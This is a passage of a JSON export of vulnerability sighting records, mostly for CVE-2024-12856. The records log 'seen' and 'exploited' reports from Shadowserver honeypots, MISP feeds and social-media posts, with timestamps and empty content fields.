"CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-25)", "content": "", "creation_timestamp": "2025-07-25T00:00:00.000000Z"}, {"uuid": "af504728-43f7-4433-a8d0-6c67f15d7a4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-27)", "content": "", "creation_timestamp": "2025-09-27T00:00:00.000000Z"}, {"uuid": "3f108b20-a4f7-4423-915c-0cb3159dd7ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-26)", "content": "", "creation_timestamp": "2025-07-26T00:00:00.000000Z"}, {"uuid": "6f1a6885-8ad8-4b5b-a21a-e708e944d4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "240afd61-fd1b-46d1-894d-f89fb3e38306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-27)", "content": "", "creation_timestamp": "2025-07-27T00:00:00.000000Z"}, {"uuid": "3c023c09-3e59-4abb-9786-494c464296ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-06)", "content": "", "creation_timestamp": "2025-10-06T00:00:00.000000Z"}, {"uuid": "fe16d055-4cbd-4be3-95a6-16d803762699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lv2kljlopo2g", "content": "", "creation_timestamp": "2025-07-28T21:40:13.870195Z"}, {"uuid": "b1f333bf-eee4-4a4f-944b-045fbcd6ba2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-16)", "content": "", "creation_timestamp": "2025-09-16T00:00:00.000000Z"}, {"uuid": "dbc9bd89-cbf1-4506-98c7-ee651183321e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "c4b2032f-4543-4160-820b-8ad720b316b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-20)", "content": "", "creation_timestamp": "2025-09-20T00:00:00.000000Z"}, {"uuid": "11afc872-8e8f-49f0-b5d9-e979332e7bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-31)", "content": "", "creation_timestamp": "2025-07-31T00:00:00.000000Z"}, {"uuid": "28e0d470-90e6-492f-bd39-d400f744ab6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "79a797e0-a799-4724-aa57-15d2ccfdd30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "155548c4-862a-4909-a906-5b42c6d106fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-31)", "content": "", "creation_timestamp": "2025-10-31T00:00:00.000000Z"}, {"uuid": "feec7139-74da-4cd2-adeb-568e7acddfb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "c1a14d0b-dc1b-470c-9868-6db801fb7f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-02)", "content": "", "creation_timestamp": "2025-10-02T00:00:00.000000Z"}, {"uuid": "e5b2e649-dc21-4fee-99c3-57907a9a2aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "b77e8293-60ce-473b-bc49-839881bc63f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-09-28T08:23:31.000000Z"}, {"uuid": "e947b6e8-b1d9-4458-b808-bf6e8d8e8cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-19)", "content": "", "creation_timestamp": "2025-10-19T00:00:00.000000Z"}, {"uuid": "3bc32fc5-bfe1-41f3-b612-1f950f711515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-23)", "content": "", "creation_timestamp": "2025-10-23T00:00:00.000000Z"}, {"uuid": "815ad6bd-db0c-41da-b240-fb6ebb2624b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lvtipkdly42b", "content": "", "creation_timestamp": "2025-08-07T19:43:15.442117Z"}, {"uuid": "97c05d7b-c41b-40b4-88f2-3bc3f2e2c2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lvtje5ef3x2x", "content": "", "creation_timestamp": "2025-08-07T19:54:45.704175Z"}, {"uuid": "e16cdb5a-105f-4181-8ba6-760204aeca0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lvuubjafyz2d", "content": "", "creation_timestamp": "2025-08-08T08:42:48.698238Z"}, {"uuid": "fe63e9dc-940b-4d86-8f31-d5306111d7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115578606002979278", "content": "", "creation_timestamp": "2025-11-19T21:59:30.006195Z"}, {"uuid": "231d430e-578d-4e42-9ba3-d84437edc0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115578608301178805", "content": "", "creation_timestamp": "2025-11-19T22:00:06.429732Z"}, {"uuid": "19fbf66b-0899-444d-9f40-d25e34d5f5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "664a095d-ff20-47f2-92b1-a14db13b23fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12718", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lvxk6h6r6o2n", "content": "", "creation_timestamp": "2025-08-09T10:20:07.462530Z"}, {"uuid": "53a42b1b-06f7-4718-8eda-4195783409d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12718", "type": "seen", "source": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3lvxm4bfb7ju2", "content": "", "creation_timestamp": "2025-08-09T10:55:09.644902Z"}, {"uuid": "bbe2aeb1-a50c-4e30-88db-62090347d354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-09T13:26:56.000000Z"}, {"uuid": "a57b9131-1ccc-43b5-a952-f79732914d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-09-29T03:12:14.000000Z"}, {"uuid": "d3955b4a-d20b-432e-adfa-c5685e0d966b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "6d5eb894-6382-4995-94e8-b7d1f630a745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-21)", "content": "", "creation_timestamp": "2025-09-21T00:00:00.000000Z"}, {"uuid": "565e744c-69b2-4365-bd49-a320f32235b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-06)", "content": "", "creation_timestamp": "2025-11-06T00:00:00.000000Z"}, {"uuid": "b18db0e7-9ecb-4e45-9ea5-e58917498013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-28)", "content": "", "creation_timestamp": "2025-09-28T00:00:00.000000Z"}, {"uuid": "6a00cb55-ee49-423a-a708-4f7190a0508c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-26)", "content": "", "creation_timestamp": "2025-11-26T00:00:00.000000Z"}, {"uuid": "890ba9b3-7787-428d-8f1a-85ca95881be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-11T18:47:37.000000Z"}, {"uuid": "e306db21-d452-43b4-a159-b03e62510519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12537", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "edb452f3-4a9e-4a65-bb3a-23022d0fa014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12910", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "3fe78b31-ed52-4ad9-8ba4-3b37cc9e6ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12704", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "1727f4b8-2daf-4f3b-a20d-7f9462631512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12911", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "8e4b6c87-3466-4a6e-a4c1-f5c26ea9e302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3m2qxtbturk2f", "content": "", "creation_timestamp": "2025-10-09T10:41:48.215687Z"}, {"uuid": "341fd9b9-4e20-484d-965f-f9c929cd32a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "MISP/1c8ce874-c606-5e33-800d-fba62b8897ef", "content": "", "creation_timestamp": "2025-09-08T06:09:02.000000Z"}, {"uuid": "1dcaa670-285d-463d-aeeb-5d7d321aab29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3m62ct3oues2h", "content": "", "creation_timestamp": "2025-11-20T08:08:06.177163Z"}, {"uuid": "8a2bf674-a0ea-435c-a8e8-20542ee1e874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3m62ct64ze22h", "content": "", "creation_timestamp": "2025-11-20T08:08:06.988997Z"}, {"uuid": "abf3ea38-879c-4a99-9ced-ac94b5cc6faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-08)", "content": "", "creation_timestamp": "2025-11-08T00:00:00.000000Z"}, {"uuid": "36ad05c5-7e20-4ba7-b0a0-229c91b2c0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-01)", "content": "", "creation_timestamp": "2025-11-01T00:00:00.000000Z"}, {"uuid": "798a80e3-68a5-49fc-b739-d2a28497cdbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-12)", "content": "", "creation_timestamp": "2025-11-12T00:00:00.000000Z"}, {"uuid": "9c14a68e-60c6-448b-a00c-fd0156494e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-14)", "content": "", "creation_timestamp": "2025-09-14T00:00:00.000000Z"}, {"uuid": "e88a6a47-2786-4248-b3ba-7317dda35dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-05)", "content": "", "creation_timestamp": "2025-10-05T00:00:00.000000Z"}, {"uuid": "6f9c3dda-79e1-4365-9a96-39a5679575e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12380", "type": "seen", "source": "MISP/682bdba3-46b7-4a8f-b7be-c6bf4b4f9868", "content": "", "creation_timestamp": "2025-08-13T13:26:34.000000Z"}, {"uuid": "78f59fa7-bffc-4c33-b21f-a66a4a8b8f20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-19)", "content": "", "creation_timestamp": "2025-11-19T00:00:00.000000Z"}, {"uuid": "94e5ea41-db21-4d94-b1cc-1c5ac9eb47d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-03)", "content": "", "creation_timestamp": "2025-10-03T00:00:00.000000Z"}, {"uuid": "cb9bf51d-d98b-4f87-afa1-68525c40b59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-17)", "content": "", "creation_timestamp": "2025-09-17T00:00:00.000000Z"}, {"uuid": "1b5b8d62-eef8-4d97-87ed-bf3ee6f094fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-13)", "content": "", "creation_timestamp": "2025-11-13T00:00:00.000000Z"}, {"uuid": "cbafe18c-e37f-49b3-998c-50df91fa4bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12573", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwhcmx7sii2e", "content": "", "creation_timestamp": "2025-08-15T16:47:39.710313Z"}, {"uuid": "ec849a90-7350-4025-932b-9bde38499d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-26)", "content": "", "creation_timestamp": "2025-10-26T00:00:00.000000Z"}, {"uuid": "784bbf60-a52f-4995-9fb7-252e09a325ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "71424cc6-c560-4049-a110-9c992a8aa7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "622d496d-eeba-4afb-8e8f-0476b2da6573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/053ca026-a56e-47a6-9d17-dd5021a065a4", "content": "", "creation_timestamp": "2025-08-16T14:30:35.000000Z"}, {"uuid": "1fbae6b9-4827-4b3d-a1a3-bf3de94d29fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "87507674-6650-408a-95c3-9c59c6bb75c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-28)", "content": "", "creation_timestamp": "2025-10-28T00:00:00.000000Z"}, {"uuid": "f15ab493-78b0-416c-bf58-5d3f202d5d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:52.000000Z"}, {"uuid": "58b97593-a59b-466a-8c20-fecc0a9ad4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:59.000000Z"}, {"uuid": "282a3985-b073-413e-8ac6-72cbfd5d47b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "3c5276e8-b121-45c9-ab8d-93e99ef3386e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "60911c88-b1f2-4f01-a044-4a2253068e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "e1a2c1d8-31e7-438d-9afd-9bb1bfc61cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "c3551a47-d7a1-42db-9992-be72efb01f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:30:59.000000Z"}, {"uuid": "db8775c5-00af-497d-af6e-36040753fe74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:30:59.000000Z"}, {"uuid": "69294d65-c221-498a-8095-c2307f7f65a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "df70958d-9216-442b-9fc4-c732aab4de1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "e612e600-2175-4daf-91a6-260b50776281", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-20)", "content": "", "creation_timestamp": "2025-10-20T00:00:00.000000Z"}, {"uuid": "23d2971a-321c-4746-8531-83c9028e4ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115349687488265913", "content": "", "creation_timestamp": "2025-10-10T11:42:30.257673Z"}, {"uuid": "f8258447-eb92-4059-859a-bec3255809d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "c6c7ccec-7916-4562-92d0-32b73ccab0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/mytreya-rh/da4aef61a7ab8816fa11198f9b064846", "content": "", "creation_timestamp": "2025-11-13T12:36:23.000000Z"}, {"uuid": 